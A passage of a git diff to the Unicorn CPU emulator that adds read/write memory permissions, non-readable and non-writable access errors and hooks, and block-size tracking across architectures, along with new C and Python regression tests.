UC_ERR_MEM_READ_NR, // Quit emulation due to read from non-readable: uc_emu_start() } uc_err; @@ -147,6 +149,8 @@ typedef enum uc_mem_type { UC_MEM_READ = 16, // Memory is read from UC_MEM_WRITE, // Memory is written to UC_MEM_READ_WRITE, // Memory is accessed (either READ or WRITE) + UC_MEM_WRITE_NW, // write to non-writable + UC_MEM_READ_NR, // read from non-readable } uc_mem_type; // All type of hooks for uc_hook_add() API. @@ -384,6 +388,13 @@ uc_err uc_hook_add(struct uc_struct *uc, uc_hook_h *hh, uc_hook_t type, void *ca UNICORN_EXPORT uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh); +typedef enum uc_prot { + UC_PROT_NONE = 0, + UC_PROT_READ = 1, + UC_PROT_WRITE = 2, + UC_PROT_ALL = 3, +} uc_prot; + /* Map memory in for emulation. This API adds a memory region that can be used by emulation. @@ -393,12 +404,15 @@ uc_err uc_hook_del(struct uc_struct *uc, uc_hook_h hh); This address must be aligned to 4KB, or this will return with UC_ERR_MAP error. @size: size of the new memory region to be mapped in. This size must be multiple of 4KB, or this will return with UC_ERR_MAP error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ & UC_PROT_WRITE, + or this will return with UC_ERR_MAP error. See uc_prot type above. @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum for detailed error). */ UNICORN_EXPORT -uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size); +uc_err uc_mem_map(struct uc_struct *uc, uint64_t address, size_t size, uint32_t perms); #ifdef __cplusplus } diff --git a/make.sh b/make.sh index 92d2db3a..98cac449 100755 --- a/make.sh +++ b/make.sh @@ -38,8 +38,8 @@ build_cross() { [ "$UNAME" = Darwin ] && LIBARCHS="i386 x86_64" CROSS=$1 CC=$CROSS-gcc \ - AR=$CROSS-ar \ - RANLIB=$CROSS-ranlib \ + AR=$CROSS-gcc-ar \ + RANLIB=$CROSS-gcc-ranlib \ GLIB="-L/usr/$CROSS/lib/ -lglib-2.0" \ ${MAKE} } diff --git a/qemu/cpu-exec.c b/qemu/cpu-exec.c index d491aacd..e2412f87 100644 --- a/qemu/cpu-exec.c +++ b/qemu/cpu-exec.c @@ -117,13 +117,6 @@ int cpu_exec(struct uc_struct *uc, CPUArchState *env) // qq (uc->arch == UC_ARCH_M68K && cpu->exception_index == 0x2f) /* M68K's EXCP_TRAP15 */ ) { cpu->halted = 1; - //cpu->exception_index = EXCP_HLT; - //no_shutdown = 0; - //printf(">>> calling shutdown-request...\n"); - //printf(">>> ** current EIP = %x\n", X86_CPU(cpu)->env.eip); - //qemu_system_shutdown_request(); - //pause_all_vcpus(); - //cpu_loop_exit(cpu); ret = EXCP_HLT; break; } diff --git a/qemu/header_gen.py b/qemu/header_gen.py old mode 100755 new mode 100644 diff --git a/qemu/include/exec/memory.h b/qemu/include/exec/memory.h index c8b0c333..4df8bd85 100644 --- a/qemu/include/exec/memory.h +++ b/qemu/include/exec/memory.h @@ -170,6 +170,8 @@ struct MemoryRegion { MemoryRegionIoeventfd *ioeventfds; NotifierList iommu_notify; struct uc_struct *uc; + uint32_t perms; //all perms, partially redundant with readonly + uint64_t end; }; /** @@ -315,12 +317,14 @@ void memory_region_init_io(struct uc_struct *uc, MemoryRegion *mr, * @owner: the object that tracks the region's reference count * @name: the name of the region. * @size: size of the region. + * @perms: permissions on the region (UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC). * @errp: pointer to Error*, to store an error if it happens. */ void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr, struct Object *owner, const char *name, uint64_t size, + uint32_t perms, Error **errp); /** @@ -934,7 +938,7 @@ void address_space_unmap(AddressSpace *as, void *buffer, hwaddr len, void memory_register_types(struct uc_struct *uc); -int memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size); +MemoryRegion *memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size, uint32_t perms); int memory_free(struct uc_struct *uc); #endif diff --git a/qemu/memory.c b/qemu/memory.c index f7bf161b..60f86ae4 100644 --- a/qemu/memory.c +++ b/qemu/memory.c @@ -31,27 +31,28 @@ // Unicorn engine -int memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size) +MemoryRegion *memory_map(struct uc_struct *uc, ram_addr_t begin, size_t size, uint32_t perms) { - uc->ram = g_new(MemoryRegion, 1); + MemoryRegion *ram = g_new(MemoryRegion, 1); - memory_region_init_ram(uc, uc->ram, NULL, "pc.ram", size, &error_abort); + memory_region_init_ram(uc, ram, NULL, "pc.ram", size, perms, &error_abort); - memory_region_add_subregion(get_system_memory(uc), begin, uc->ram); + memory_region_add_subregion(get_system_memory(uc), begin, ram); if (uc->current_cpu) tlb_flush(uc->current_cpu, 1); - return 0; + return ram; } int memory_free(struct uc_struct *uc) { + int i; get_system_memory(uc)->enabled = false; - if (uc->ram) { - uc->ram->enabled = false; - memory_region_del_subregion(get_system_memory(uc), uc->ram); - g_free(uc->ram); + for (i = 0; i < uc->mapped_block_count; i++) { + uc->mapped_blocks[i]->enabled = false; + memory_region_del_subregion(get_system_memory(uc), uc->mapped_blocks[i]); + g_free(uc->mapped_blocks[i]); } return 0; } @@ -1151,10 +1152,15 @@ void memory_region_init_ram(struct uc_struct *uc, MemoryRegion *mr, Object *owner, const char *name, uint64_t size, + uint32_t perms, Error **errp) { memory_region_init(uc, mr, owner, name, size); mr->ram = true; + if (!(perms & UC_PROT_WRITE)) { + mr->readonly = true; + } + mr->perms = perms; mr->terminates = true; mr->destructor = memory_region_destructor_ram; mr->ram_addr = qemu_ram_alloc(size, mr, errp); @@ -1309,6 +1315,12 @@ void memory_region_set_readonly(MemoryRegion *mr, bool readonly) if (mr->readonly != readonly) { memory_region_transaction_begin(mr->uc); mr->readonly = readonly; + if (readonly) { + mr->perms &= ~UC_PROT_WRITE; + } + else { + mr->perms |= UC_PROT_WRITE; + } mr->uc->memory_region_update_pending |= mr->enabled; memory_region_transaction_commit(mr->uc); } @@ -1528,6 +1540,7 @@ static void memory_region_add_subregion_common(MemoryRegion *mr, assert(!subregion->container); subregion->container = mr; subregion->addr = offset; + subregion->end = offset + int128_get64(subregion->size); memory_region_update_container_subregions(subregion); } diff --git a/qemu/scripts/make_device_config.sh b/qemu/scripts/make_device_config.sh old mode 100644 new mode 100755 diff --git a/qemu/softmmu_template.h b/qemu/softmmu_template.h index 6c968676..50d6e424 100644 --- a/qemu/softmmu_template.h +++ b/qemu/softmmu_template.h @@ -178,6 +178,9 @@ WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, uintptr_t haddr; DATA_TYPE res; + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + // Unicorn: callback on memory read if (env->uc->hook_mem_read && READ_ACCESS_TYPE == MMU_DATA_LOAD) { struct hook_struct *trace = hook_find(env->uc, UC_MEM_READ, addr); @@ -188,7 +191,7 @@ WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, } // Unicorn: callback on invalid memory - if (!memory_mapping(addr) && env->uc->hook_mem_idx) { + if (env->uc->hook_mem_idx && mr == NULL) { if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)( env->uc, UC_MEM_READ, addr, DATA_SIZE, 0, env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) { @@ -203,6 +206,26 @@ WORD_TYPE helper_le_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, } } + // Unicorn: callback on read only memory + if (mr != NULL && !(mr->perms & UC_PROT_READ)) { //non-readable + bool result = false; + if (uc->hook_mem_idx) { + result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)( + uc, UC_MEM_READ_NR, addr, DATA_SIZE, 0, + uc->hook_callbacks[uc->hook_mem_idx].user_data); + } + if (result) { + env->invalid_error = UC_ERR_OK; + } + else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_MEM_READ_NR; + // printf("***** Invalid memory read (non-readable) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } + /* Adjust the given return address. */ retaddr -= GETPC_ADJ; @@ -300,6 +323,9 @@ WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, uintptr_t haddr; DATA_TYPE res; + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + // Unicorn: callback on memory read if (env->uc->hook_mem_read && READ_ACCESS_TYPE == MMU_DATA_LOAD) { struct hook_struct *trace = hook_find(env->uc, UC_MEM_READ, addr); @@ -310,7 +336,7 @@ WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, } // Unicorn: callback on invalid memory - if (!memory_mapping(addr) && env->uc->hook_mem_idx) { + if (env->uc->hook_mem_idx && mr == NULL) { if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)( env->uc, UC_MEM_READ, addr, DATA_SIZE, 0, env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) { @@ -325,6 +351,26 @@ WORD_TYPE helper_be_ld_name(CPUArchState *env, target_ulong addr, int mmu_idx, } } + // Unicorn: callback on read only memory + if (mr != NULL && !(mr->perms & UC_PROT_READ)) { //non-readable + bool result = false; + if (uc->hook_mem_idx) { + result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)( + uc, UC_MEM_READ_NR, addr, DATA_SIZE, 0, + uc->hook_callbacks[uc->hook_mem_idx].user_data); + } + if (result) { + env->invalid_error = UC_ERR_OK; + } + else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_MEM_READ_NR; + // printf("***** Invalid memory read (non-readable) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return 0; + } + } + /* Adjust the given return address. */ retaddr -= GETPC_ADJ; @@ -460,31 +506,53 @@ void helper_le_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val, target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write; uintptr_t haddr; + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + // Unicorn: callback on memory write if (env->uc->hook_mem_write) { - struct hook_struct *trace = hook_find(env->uc, UC_MEM_WRITE, addr); + struct hook_struct *trace = hook_find(uc, UC_MEM_WRITE, addr); if (trace) { - ((uc_cb_hookmem_t)trace->callback)(env->uc, UC_MEM_WRITE, + ((uc_cb_hookmem_t)trace->callback)(uc, UC_MEM_WRITE, (uint64_t)addr, (int)DATA_SIZE, (int64_t)val, trace->user_data); } } // Unicorn: callback on invalid memory - if (!memory_mapping(addr) && env->uc->hook_mem_idx) { - if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)( - env->uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val, - env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) { + if (uc->hook_mem_idx && mr == NULL) { + if (!((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)( + uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val, + uc->hook_callbacks[uc->hook_mem_idx].user_data)) { // save error & quit env->invalid_addr = addr; env->invalid_error = UC_ERR_MEM_WRITE; // printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr); - cpu_exit(env->uc->current_cpu); + cpu_exit(uc->current_cpu); return; } else { env->invalid_error = UC_ERR_OK; } } + // Unicorn: callback on read only memory + if (mr != NULL && !(mr->perms & UC_PROT_WRITE)) { //read only memory + bool result = false; + if (uc->hook_mem_idx) { + result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)( + uc, UC_MEM_WRITE_NW, addr, DATA_SIZE, (int64_t)val, + uc->hook_callbacks[uc->hook_mem_idx].user_data); + } + if (result) { + env->invalid_error = UC_ERR_OK; + } + else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_MEM_WRITE_NW; + // printf("***** Invalid memory write (ro) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return; + } + } /* Adjust the given return address. */ retaddr -= GETPC_ADJ; @@ -546,6 +614,8 @@ void helper_le_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val, Undo that for the recursion. */ glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8, mmu_idx, retaddr + GETPC_ADJ); + if (env->invalid_error != UC_ERR_OK) + break; } return; } @@ -574,31 +644,54 @@ void helper_be_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val, target_ulong tlb_addr = env->tlb_table[mmu_idx][index].addr_write; uintptr_t haddr; + struct uc_struct *uc = env->uc; + MemoryRegion *mr = memory_mapping(uc, addr); + // Unicorn: callback on memory write - if (env->uc->hook_mem_write) { - struct hook_struct *trace = hook_find(env->uc, UC_MEM_WRITE, addr); + if (uc->hook_mem_write) { + struct hook_struct *trace = hook_find(uc, UC_MEM_WRITE, addr); if (trace) { - ((uc_cb_hookmem_t)trace->callback)(env->uc, UC_MEM_WRITE, + ((uc_cb_hookmem_t)trace->callback)(uc, UC_MEM_WRITE, (uint64_t)addr, (int)DATA_SIZE, (int64_t)val, trace->user_data); } } // Unicorn: callback on invalid memory - if (!memory_mapping(addr) && env->uc->hook_mem_idx) { - if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)( - env->uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val, - env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) { + if (uc->hook_mem_idx && mr == NULL) { + if (!((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)( + uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val, + uc->hook_callbacks[uc->hook_mem_idx].user_data)) { // save error & quit env->invalid_addr = addr; env->invalid_error = UC_ERR_MEM_WRITE; // printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr); - cpu_exit(env->uc->current_cpu); + cpu_exit(uc->current_cpu); return; } else { env->invalid_error = UC_ERR_OK; } } + // Unicorn: callback on read only memory + if (mr != NULL && !(mr->perms & UC_PROT_WRITE)) { //read only memory + bool result = false; + if (uc->hook_mem_idx) { + result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)( + uc, UC_MEM_WRITE_NW, addr, DATA_SIZE, (int64_t)val, + uc->hook_callbacks[uc->hook_mem_idx].user_data); + } + if (result) { + env->invalid_error = UC_ERR_OK; + } + else { + env->invalid_addr = addr; + env->invalid_error = UC_ERR_MEM_WRITE_NW; + // printf("***** Invalid memory write (ro) at " TARGET_FMT_lx "\n", addr); + cpu_exit(uc->current_cpu); + return; + } + } + /* Adjust the given return address. */ retaddr -= GETPC_ADJ; @@ -659,6 +752,8 @@ void helper_be_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val, Undo that for the recursion. */ glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8, mmu_idx, retaddr + GETPC_ADJ); + if (env->invalid_error != UC_ERR_OK) + break; } return; } diff --git a/qemu/target-arm/translate-a64.c b/qemu/target-arm/translate-a64.c index deeebabe..5dda2eba 100644 --- a/qemu/target-arm/translate-a64.c +++ b/qemu/target-arm/translate-a64.c @@ -11044,6 +11044,7 @@ void gen_intermediate_code_internal_a64(ARMCPU *cpu, int num_insns; int max_insns; TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; pc_start = tb->pc; @@ -11105,7 +11106,9 @@ void gen_intermediate_code_internal_a64(ARMCPU *cpu, tcg_clear_temp_count(); // Unicorn: trace this block on request - if (env->uc->hook_block) { + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (env->uc->hook_block && !env->uc->block_full) { struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start); if (trace) { // save block address to see if we need to patch block size later @@ -11186,6 +11189,11 @@ void gen_intermediate_code_internal_a64(ARMCPU *cpu, dc->pc < next_page_start && num_insns < max_insns); + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) { + block_full = true; + } + //if (tb->cflags & CF_LAST_IO) { // gen_io_end(); //} @@ -11251,4 +11259,6 @@ done_generating: tb->size = dc->pc - pc_start; tb->icount = num_insns; } + + env->uc->block_full = block_full; } diff --git a/qemu/target-arm/translate.c b/qemu/target-arm/translate.c index e3aa07f7..a3829ca2 100644 --- a/qemu/target-arm/translate.c +++ b/qemu/target-arm/translate.c @@ -11149,6 +11149,7 @@ static inline void gen_intermediate_code_internal(ARMCPU *cpu, int num_insns; int max_insns; TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; /* generate intermediate code */ @@ -11228,7 +11229,9 @@ static inline void gen_intermediate_code_internal(ARMCPU *cpu, tcg_clear_temp_count(); // Unicorn: trace this block on request - if (env->uc->hook_block) { + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (env->uc->hook_block && !env->uc->block_full) { struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start); if (trace) { // save block address to see if we need to patch block size later @@ -11398,6 +11401,11 @@ static inline void gen_intermediate_code_internal(ARMCPU *cpu, //gen_io_end(); } + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) { + block_full = true; + } + /* At this stage dc->condjmp will only be set when the skipped instruction was a conditional branch or trap, and the PC has already been written. */ @@ -11502,6 +11510,8 @@ done_generating: tb->size = dc->pc - pc_start; //tb->icount = num_insns; } + + env->uc->block_full = block_full; } void gen_intermediate_code(CPUARMState *env, TranslationBlock *tb) diff --git a/qemu/target-i386/translate.c b/qemu/target-i386/translate.c index 776f73c6..24af4348 100644 --- a/qemu/target-i386/translate.c +++ b/qemu/target-i386/translate.c @@ -8254,7 +8254,7 @@ static inline void gen_intermediate_code_internal(uint8_t *gen_opc_cc_op, uint64_t flags; target_ulong pc_start; target_ulong cs_base; - int num_insns; + int num_insns = 0; int max_insns; bool block_full = false; @@ -8339,12 +8339,18 @@ static inline void gen_intermediate_code_internal(uint8_t *gen_opc_cc_op, // done with initializing TCG variables env->uc->init_tcg = true; + // early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + gen_tb_start(tcg_ctx); + gen_interrupt(dc, 0x99, tb->pc - tb->cs_base, tb->pc - tb->cs_base); + goto done_generating; + } + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; dc->is_jmp = DISAS_NEXT; pc_ptr = pc_start; lj = -1; - num_insns = 0; max_insns = tb->cflags & CF_COUNT_MASK; if (max_insns == 0) max_insns = CF_COUNT_MASK; diff --git a/qemu/target-m68k/translate.c b/qemu/target-m68k/translate.c index 0751445c..133957df 100644 --- a/qemu/target-m68k/translate.c +++ b/qemu/target-m68k/translate.c @@ -3076,6 +3076,7 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb, int num_insns; int max_insns; TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; /* generate intermediate code */ pc_start = tb->pc; @@ -3101,7 +3102,9 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb, max_insns = CF_COUNT_MASK; // Unicorn: trace this block on request - if (env->uc->hook_block) { + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (env->uc->hook_block && !env->uc->block_full) { struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start); if (trace) { // save block address to see if we need to patch block size later @@ -3145,6 +3148,10 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb, (pc_offset) < (TARGET_PAGE_SIZE - 32) && num_insns < max_insns); + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) + block_full = true; + //if (tb->cflags & CF_LAST_IO) // gen_io_end(); if (unlikely(cs->singlestep_enabled)) { @@ -3187,6 +3194,8 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb, //optimize_flags(); //expand_target_qops(); + + env->uc->block_full = block_full; } void gen_intermediate_code(CPUM68KState *env, TranslationBlock *tb) diff --git a/qemu/target-mips/translate.c b/qemu/target-mips/translate.c index 6ffd0d79..718d69aa 100644 --- a/qemu/target-mips/translate.c +++ b/qemu/target-mips/translate.c @@ -19172,6 +19172,7 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb, int is_slot = 0; TCGContext *tcg_ctx = env->uc->tcg_ctx; TCGArg *save_opparam_ptr = NULL; + bool block_full = false; if (search_pc) qemu_log("search pc %d\n", search_pc); @@ -19207,7 +19208,9 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb, LOG_DISAS("\ntb %p idx %d hflags %04x\n", tb, ctx.mem_idx, ctx.hflags); // Unicorn: trace this block on request - if (env->uc->hook_block) { + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (env->uc->hook_block && !env->uc->block_full) { struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start); if (trace) { // save block address to see if we need to patch block size later @@ -19251,7 +19254,7 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb, // Unicorn: end address tells us to stop emulation if (ctx.pc == ctx.uc->addr_end) { generate_exception(&ctx, EXCP_SYSCALL); - insn_bytes = 0; + break; } else { // Unicorn: save param buffer if (env->uc->hook_insn) @@ -19315,6 +19318,11 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb, //if (singlestep) // break; } + + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) { + block_full = true; + } + //if (tb->cflags & CF_LAST_IO) { // gen_io_end(); //} @@ -19350,6 +19358,8 @@ done_generating: tb->size = ctx.pc - pc_start; tb->icount = num_insns; } + + env->uc->block_full = block_full; } void gen_intermediate_code (CPUMIPSState *env, struct TranslationBlock *tb) diff --git a/qemu/target-sparc/translate.c b/qemu/target-sparc/translate.c index f0ad799f..ff68fd64 100644 --- a/qemu/target-sparc/translate.c +++ b/qemu/target-sparc/translate.c @@ -5383,6 +5383,7 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu, int max_insns; unsigned int insn; TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; memset(dc, 0, sizeof(DisasContext)); dc->uc = env->uc; @@ -5405,7 +5406,9 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu, max_insns = CF_COUNT_MASK; // Unicorn: trace this block on request - if (env->uc->hook_block) { + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (env->uc->hook_block && !env->uc->block_full) { struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start); if (trace) { // save block address to see if we need to patch block size later @@ -5473,6 +5476,10 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu, (dc->pc - pc_start) < (TARGET_PAGE_SIZE - 32) && num_insns < max_insns); + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) + block_full = true; + exit_gen_loop: //if (tb->cflags & CF_LAST_IO) { // gen_io_end(); @@ -5506,6 +5513,8 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu, tb->size = last_pc + 4 - pc_start; tb->icount = num_insns; } + + env->uc->block_full = block_full; } void gen_intermediate_code(CPUSPARCState * env, TranslationBlock * tb) diff --git a/qemu/unicorn_common.h b/qemu/unicorn_common.h index 93f1c5f4..176900cb 100644 --- a/qemu/unicorn_common.h +++ b/qemu/unicorn_common.h @@ -73,6 +73,7 @@ static inline void uc_common_init(struct uc_struct* uc) uc->pause_all_vcpus = pause_all_vcpus; uc->vm_start = vm_start; uc->memory_map = memory_map; + uc->readonly_mem = memory_region_set_readonly; if (!uc->release) uc->release = release_common; diff --git a/regress/Makefile b/regress/Makefile index 06c5a31a..bbb49c2a 100644 --- a/regress/Makefile +++ b/regress/Makefile @@ -1,7 +1,11 @@ CFLAGS += -I../include LDFLAGS = -L.. -lunicorn -TESTS = map_crash sigill sigill2 block_test +TESTS = map_crash map_write +TESTS += sigill sigill2 +TESTS += block_test +TESTS += ro_mem_test nr_mem_test +TESTS += timeout_segfault all: $(TESTS) diff --git a/regress/block_test.c b/regress/block_test.c index 0d778222..0d1ddf9f 100644 --- a/regress/block_test.c +++ b/regress/block_test.c @@ -39,7 +39,7 @@ int main() { } fprintf(stderr, "ok %d - uc_open\n", count++); - err = uc_mem_map(uc, 0x1000000, 4096); + err = uc_mem_map(uc, 0x1000000, 4096, UC_PROT_ALL); if (err != UC_ERR_OK) { fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err)); exit(0); diff --git a/regress/emu_stop_segfault.py b/regress/emu_stop_segfault.py new file mode 100755 index 00000000..8021d86d --- /dev/null +++ b/regress/emu_stop_segfault.py @@ -0,0 +1,13 @@ +#!/usr/bin/python + +"""See https://github.com/unicorn-engine/unicorn/issues/65""" + +import unicorn +ADDR = 0x10101000 +mu = unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_32) +mu.mem_map(ADDR, 1024 * 4) +mu.mem_write(ADDR, b'\x41') +mu.emu_start(ADDR, ADDR + 1, count=1) +# The following should not trigger a null pointer dereference +mu.emu_stop() + diff --git a/regress/map_crash.c b/regress/map_crash.c index 9da92447..b25c2b00 100644 --- a/regress/map_crash.c +++ b/regress/map_crash.c @@ -4,9 +4,10 @@ #include #define UC_BUG_WRITE_SIZE 13000 -#define UC_BUG_WRITE_ADDR 0x1000 // fix this by change this to 0x2000 +#define UC_BUG_WRITE_ADDR 0x1000 -int main() { +int main() +{ int size; uint8_t *buf; struct uc_struct *uc; @@ -22,8 +23,8 @@ int main() { return 1; } memset (buf, 0, size); - if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size)) { - uc_mem_write(uc, UC_BUG_WRITE_ADDR, buf, size); + if (!uc_mem_map (uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) { + uc_mem_write (uc, UC_BUG_WRITE_ADDR, buf, size); } uc_close(uc); return 0; diff --git a/regress/map_write.c b/regress/map_write.c new file mode 100644 index 00000000..e5b94366 --- /dev/null +++ b/regress/map_write.c @@ -0,0 +1,50 @@ +#include +#include +#include + +#define ADDR 0x00400000 +#define SIZE 1024*64 +#define OVERFLOW 1 + +int main() +{ + uch uh; + uint8_t *buf, *buf2; + int i; + uc_err err; + + err = uc_open (UC_ARCH_X86, UC_MODE_64, &uh); + if (err) { + printf ("uc_open %d\n", err); + return 1; + } + err = uc_mem_map (uh, ADDR, SIZE, UC_PROT_ALL); + if (err) { + printf ("uc_mem_map %d\n", err); + return 1; + } + buf = calloc (SIZE*2, 1); + buf2 = calloc (SIZE, 1); + for (i=0;i +#include +#include + +#include + +const uint8_t PROGRAM[] = + "\x8b\x1d\x00\x00\x30\x00\xa1\x00\x00\x40\x00"; +// total size: 11 bytes + +/* +bits 32 + + mov ebx, [0x300000] + mov eax, [0x400000] +*/ + +// callback for tracing memory access (READ or WRITE) +static bool hook_mem_invalid(uch handle, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data) +{ + + switch(type) { + default: + // return false to indicate we want to stop emulation + return false; + case UC_MEM_READ_NR: + printf(">>> non-readable memory is being read at 0x%"PRIx64 ", data size = %u\n", + address, size); + return false; + } +} + + +int main(int argc, char **argv, char **envp) +{ + uch handle, trace1, trace2; + uc_err err; + uint32_t eax, ebx; + + printf("Memory protections test\n"); + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &handle); + if (err) { + printf("Failed on uc_open() with error returned: %u\n", err); + return 1; + } + + uc_mem_map(handle, 0x100000, 0x1000, UC_PROT_READ); + uc_mem_map(handle, 0x300000, 0x1000, UC_PROT_READ | UC_PROT_WRITE); + uc_mem_map(handle, 0x400000, 0x1000, UC_PROT_WRITE); + + // write machine code to be emulated to memory + if (uc_mem_write(handle, 0x100000, PROGRAM, sizeof(PROGRAM))) { + printf("Failed to write emulation code to memory, quit!\n"); + return 2; + } else { + printf("Allowed to write to read only memory via uc_mem_write\n"); + } + + uc_mem_write(handle, 0x300000, (const uint8_t*)"\x41\x41\x41\x41", 4); + uc_mem_write(handle, 0x400000, (const uint8_t*)"\x42\x42\x42\x42", 4); + + //uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)0x400000, (uint64_t)0x400fff); + + // intercept invalid memory events + uc_hook_add(handle, &trace1, UC_HOOK_MEM_INVALID, hook_mem_invalid, NULL); + + // emulate machine code in infinite time + printf("BEGIN execution\n"); + err = uc_emu_start(handle, 0x100000, 0x100000 + sizeof(PROGRAM), 0, 2); + if (err) { + printf("Expected failure on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } else { + printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n"); + } + printf("END execution\n"); + + uc_reg_read(handle, UC_X86_REG_EAX, &eax); + printf("Final eax = 0x%x\n", eax); + uc_reg_read(handle, UC_X86_REG_EBX, &ebx); + printf("Final ebx = 0x%x\n", ebx); + + uc_close(&handle); + + return 0; +} diff --git a/regress/ro_mem_test.c b/regress/ro_mem_test.c new file mode 100644 index 00000000..06edf068 --- /dev/null +++ b/regress/ro_mem_test.c @@ -0,0 +1,207 @@ +/* +Non-writable memory test case + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 